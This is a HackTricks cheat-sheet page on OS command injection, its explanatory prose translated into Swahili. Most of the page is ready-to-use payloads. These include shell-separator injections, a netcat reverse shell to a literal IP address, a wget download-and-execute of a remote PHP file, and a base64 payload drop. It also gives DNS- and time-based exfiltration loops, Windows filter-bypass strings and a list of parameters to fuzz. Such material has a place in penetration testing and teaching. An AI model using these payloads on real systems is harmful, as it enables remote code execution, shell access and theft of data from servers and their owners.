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170 lines
7.1 KiB
Markdown
170 lines
7.1 KiB
Markdown
# Command Injection
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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Get Access Today:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
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## What is command Injection?
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A **command injection** inaruhusu utekelezaji wa amri za mfumo wa uendeshaji zisizo na mipaka na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data zake zote zinaweza kuathiriwa kabisa. Utekelezaji wa amri hizi kawaida unamruhusu mshambuliaji kupata ufikiaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.
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### Context
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Kulingana na **mahali ambapo ingizo lako linatolewa** unaweza kuhitaji **kukomesha muktadha ulioandikwa** (ukitumia `"` au `'`) kabla ya amri.
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## Command Injection/Execution
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```bash
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#Both Unix and Windows supported
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ls||id; ls ||id; ls|| id; ls || id # Execute both
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ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
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ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
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ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
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ls %0A id # %0A Execute both (RECOMMENDED)
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#Only unix supported
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`ls` # ``
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$(ls) # $()
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ls; id # ; Chain commands
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ls${LS_COLORS:10:1}${IFS}id # Might be useful
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#Not executed but may be interesting
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> /var/www/html/out.txt #Try to redirect the output to a file
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< /etc/passwd #Try to send some input to the command
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```
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### **Kikomo** Bypasses
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Ikiwa unajaribu kutekeleza **amri zisizo na mpangilio ndani ya mashine ya linux** utavutiwa kusoma kuhusu hii **Bypasses:**
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
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[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
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{% endcontent-ref %}
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### **Mifano**
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```
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vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
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vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
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vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
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```
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### Parameters
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Hapa kuna vigezo 25 bora ambavyo vinaweza kuwa na udhaifu wa kuingiza msimbo na udhaifu wa RCE unaofanana (kutoka [link](https://twitter.com/trbughunters/status/1283133356922884096)):
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```
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?cmd={payload}
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?exec={payload}
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?command={payload}
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?execute{payload}
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?ping={payload}
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?query={payload}
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?jump={payload}
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?code={payload}
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?reg={payload}
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?do={payload}
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?func={payload}
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?arg={payload}
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?option={payload}
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?load={payload}
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?process={payload}
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?step={payload}
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?read={payload}
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?function={payload}
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?req={payload}
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?feature={payload}
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?exe={payload}
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?module={payload}
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?payload={payload}
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?run={payload}
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?print={payload}
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```
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### Time based data exfiltration
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Kuchota data: herufi kwa herufi
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```
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swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
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real 0m5.007s
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user 0m0.000s
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sys 0m0.000s
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swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
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real 0m0.002s
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user 0m0.000s
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sys 0m0.000s
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```
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### DNS based data exfiltration
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Kulingana na chombo kutoka `https://github.com/HoLyVieR/dnsbin` pia kinachohifadhiwa kwenye dnsbin.zhack.ca
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```
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1. Go to http://dnsbin.zhack.ca/
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2. Execute a simple 'ls'
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for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
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```
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```
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$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
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```
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Vifaa vya mtandaoni kuangalia uhamishaji wa data unaotegemea DNS:
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* dnsbin.zhack.ca
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* pingb.in
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### Kupita kwa filtering
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#### Windows
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```
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powershell C:**2\n??e*d.*? # notepad
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@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
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```
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#### Linux
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
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[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
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{% endcontent-ref %}
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## Orodha ya Kugundua Brute-Force
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{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
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## Marejeleo
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
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* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
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{% hint style="success" %}
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Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
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* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
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Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kujenga na **kujiendesha kiotomatiki** kwa urahisi kwa kutumia zana za jamii **zilizoendelea zaidi** duniani.\
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Pata Ufikiaji Leo:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
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